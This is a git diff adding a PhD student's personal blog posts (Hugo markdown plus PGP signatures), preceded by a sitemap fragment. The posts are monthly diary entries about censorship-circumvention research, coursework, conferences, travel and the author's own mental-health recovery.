http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + 2025-09-29T09:06:29+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + 2025-09-19T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + 2025-09-19T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + 2025-09-19T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + 2025-09-19T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + 2025-09-19T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + 2025-09-09T11:05:00+02:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/ + 2025-08-31T07:49:24+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + 2025-08-29T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + 2025-08-29T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + 2025-08-26T00:00:00+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/ + 2025-08-25T08:53:38+00:00 + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/about/ + + diff --git a/public-onion/sources/PhD_journey/April_2026.md b/public-onion/sources/PhD_journey/April_2026.md new file mode 100644 index 0000000..4862d9d --- /dev/null +++ b/public-onion/sources/PhD_journey/April_2026.md @@ -0,0 +1,24 @@ ++++ +title = "April '26" +date = 2026-05-03T03:26:09Z +draft = false ++++ + +I know, I know. I've been lacking updates. I'm so so sorry. I will try to summerize what I've been up tp in the past few months. + +Up until the middle of March, I've been taking care of the last bits of coursework I had to do during my prep phase. And now I'm done with that all together. + +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn't know much about. Though no mail server for me unfortunately. + +I was then approached by a colleague who's research needed a bit of push to get to the IMC deadline, and we pushed "HARD". We submitted the paper with so much chaos I would say. But we did it. + +Now I wonder, both my research projects that I've been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :) + +I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :) + +I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/April_2026.md.asc b/public-onion/sources/PhD_journey/April_2026.md.asc new file mode 100644 index 0000000..5c0e806 --- /dev/null +++ b/public-onion/sources/PhD_journey/April_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ= +=Wtha +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/PhD_journey/Augest_2025.md b/public-onion/sources/PhD_journey/Augest_2025.md new file mode 100644 index 0000000..f703754 --- /dev/null +++ b/public-onion/sources/PhD_journey/Augest_2025.md @@ -0,0 +1,31 @@ ++++ +title = "Augest '25" +date = 2025-08-31T07:49:24Z +draft = false ++++ + +This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life! + +Overall not the most productive month, but one reason for it is that I have't really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead! + +My social life has been becoming better too. +I've been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I'm talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I'm really glad I was able to recover, though it was not easy at all, it did work out. + +I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/Augest_2025.md.asc b/public-onion/sources/PhD_journey/Augest_2025.md.asc new file mode 100644 index 0000000..e6e3fef --- /dev/null +++ b/public-onion/sources/PhD_journey/Augest_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1 +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9 +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY= +=vvS6 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/PhD_journey/November_2025.md b/public-onion/sources/PhD_journey/November_2025.md new file mode 100644 index 0000000..6d81d9e --- /dev/null +++ b/public-onion/sources/PhD_journey/November_2025.md @@ -0,0 +1,25 @@ ++++ +title = "November '25" +date = 2025-11-30T07:53:40Z +draft = false ++++ + +# 4th +Again, let's setup some goals for the month. +- Literature review +- Keeping up with my coursework +- Working on my codebase +- Getting healthier diet and excercise-wise + +# 30th +I did a bit of literature review, it's still lacking unfortunately. + +Coursework is ok-ish. I've been trying to work on assignements and understand them. + +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. + +I've been eating more and more healthy, excercise is still lacking. I'll get to that later. + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/November_2025.md.asc b/public-onion/sources/PhD_journey/November_2025.md.asc new file mode 100644 index 0000000..dc91c6b --- /dev/null +++ b/public-onion/sources/PhD_journey/November_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64 +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8 +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo= +=F8i0 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/PhD_journey/October_2025.md b/public-onion/sources/PhD_journey/October_2025.md new file mode 100644 index 0000000..4264f02 --- /dev/null +++ b/public-onion/sources/PhD_journey/October_2025.md @@ -0,0 +1,158 @@ ++++ +title = "October '25" +date = 2025-10-31T08:40:43Z +draft = false ++++ + +# 1st +Ok, let's start the month by declareing some goals and agendas. + +What do I want to do this month? +- Finish previous semester. +- Pick the last of the course work for my prep phase. +- Finalize the CoNEXT student workshop paper. +- Finish my second RIL. +- Start my 3rd and last RIL. +- Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? +- More literature review, persumabely all of FOCI related papers this month. +- Work on my codebase: + 1. Do code cleaning + 2. Add comments for code + 3. Start working on ICMP stuff +- More socializing! :-) +- A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. +- Enhance your routines and add exercise to it please! + +Alright. Now that the goals are set, let's start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I'm doing work! + +I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It's not something I want to talk about in my blog, well at least for now, but I've tried to talk about it with my closest friends. +It's so sad that things happened the way they did. +I never really fully recovered. +But... time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn't listen. +My parents didn't know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven't been able to figure out. +In the end, I just endured pain, a lot of pain. +I'm glad I didn't break, but I do think most people would've. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress. + +Did I mention I didn't show up in office for 6 weeks? +And that when I came back I was hit again with things I didn't understand? +Sometimes in life shit happens, but this was a whole new level. +I don't know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I've been trying to just lay low, stick to myself, and stay the hell out of trouble. + +# 3rd +Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I'm feeling more content and secure. +I'm feeling true happiness. +I don't know how much the SSRI is affecting me, but I know one thing for sure. +I'm just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I'm on top of the world. +Thinking about it a bit more, I do think I'm being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it's just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah... But it's going to be alright, I'm sure of it. +I have an exam I need to prepare for on 7th, but I've been procrastinating. I should plan my days and stick to it. Hell yes. + +# 5th +My student workshop paper to CoNEXT '25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic. + +First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details. + +Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it's evaluation. +This kinda defeated the purpose of what I was trying to do, to provide "tools". + +Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future. + +# 7th +Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don't know how I did, but I'm glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I've made, which is a really bad sign... +I hope I won't have to take another extra course in the next semesters, that would just be annoying. +I really do hope so. + +# 8th +I'm back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It's a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again. + +# 9th +I will be doing literature review today. +Yesteday I didn't manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group's amazing people! +It'll be fun! :) + +Another fun thing is that I will get my very own physical GFW box today. +It's probably the most majestic thing that could've happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess. + +# 13th +Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I'll be having one, at most two courses. + +# 17th +Another unproductive week. +I think this was the worst one actually. +I can't focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX's 3-slide slide deck to enhance my focus, I'll give it a try. + +I also need to address the elephant in the room, and start working on the codebase. + +I also need to look at the GFW files more, and try to find useful stuff there. + +But first I need to work on HTDN's papers, and craft the slides. That is the highest priority on my list. I'll do it. + +--- + +# 31st +It went by. +It went by quickly. +I wasn't able to pick myself up this month, but I won't let it happen in the following. +I want to be truthful, so I won't hide anything. +the only thing is I should've let myself grief a bit, and I did. I'm proud of it. It's fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise. + +Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it's not a bad thing. The problem is I don't have much to present, and that's why this is the content. Idk if I change the structure or not, but for now it is what it is. + +Ok, let's set some goals for next month in advance, then we can see how good we did. +- I want to work on ICMP stuff and make it work nicely. +- I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. +- I need to keep up with my courses, including the German class. +- I might work more on the GFW leaked data, but I think it's not a priority for me for now. So... scrap this last one. + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/October_2025.md.asc b/public-onion/sources/PhD_journey/October_2025.md.asc new file mode 100644 index 0000000..31bbf49 --- /dev/null +++ b/public-onion/sources/PhD_journey/October_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9 +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5 +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0 +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/ +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8= +=NvQ7 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/PhD_journey/September_2025.md b/public-onion/sources/PhD_journey/September_2025.md new file mode 100644 index 0000000..92ba367 --- /dev/null +++ b/public-onion/sources/PhD_journey/September_2025.md @@ -0,0 +1,39 @@ ++++ +title = "September '25" +date = 2025-09-30T09:48:21Z +draft = false ++++ + +I started the month by finalizing my draft for Conext Student workshop. +Let's cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I'd have until 30th to do the camera ready stuff which should be plenty of time. + +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too! + +Surprise surprize, the notification did not come and it's the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I've been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October... +Drat! + +I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that's been done so far. + +My social life has been much more exciting too. +I've been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don't have the courage to write about now. ;) +Buuuuuut... I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :) + +And with that, that's my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/September_2025.md.asc b/public-onion/sources/PhD_journey/September_2025.md.asc new file mode 100644 index 0000000..7eec988 --- /dev/null +++ b/public-onion/sources/PhD_journey/September_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles= +=ranU +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/PhD_journey/june_2026.md b/public-onion/sources/PhD_journey/june_2026.md new file mode 100644 index 0000000..9b79202 --- /dev/null +++ b/public-onion/sources/PhD_journey/june_2026.md @@ -0,0 +1,20 @@ ++++ +title = 'June 2026' +date = 2026-06-23T20:00:07Z +draft = false ++++ + +Ok, it's been so so so long! I haven't been writing, once again, because I've been too busy with fixing my life. +Let me summerize these past many months: + +- I finished my coursework for my prep phase +- I was added to a colleagues project and we submited it to IMC +- I submitted a poster to TMA, and I will be present it at the end of this month (June) +- I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. +- I am a tutor at data networks, and I think I'm doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/PhD_journey/june_2026.md.asc b/public-onion/sources/PhD_journey/june_2026.md.asc new file mode 100644 index 0000000..ecee475 --- /dev/null +++ b/public-onion/sources/PhD_journey/june_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5 +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc= +=hIg9 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/2025_highlight.md b/public-onion/sources/posts/2025_highlight.md new file mode 100644 index 0000000..6160ab8 --- /dev/null +++ b/public-onion/sources/posts/2025_highlight.md @@ -0,0 +1,17 @@ ++++ +title = '2025 Highlight' +date = 2026-01-05T18:53:54Z +draft = false ++++ + +I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. + +After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend's NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We've been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I'm getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc.. + +Bonus: Remember I said we went to a Sushi place? I've been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I'm so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that "we were eating across the hall, and I noticed how pretty she is!". They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn't want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa. + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/2025_highlight.md.asc b/public-onion/sources/posts/2025_highlight.md.asc new file mode 100644 index 0000000..c489c3d --- /dev/null +++ b/public-onion/sources/posts/2025_highlight.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11 +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8 +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5 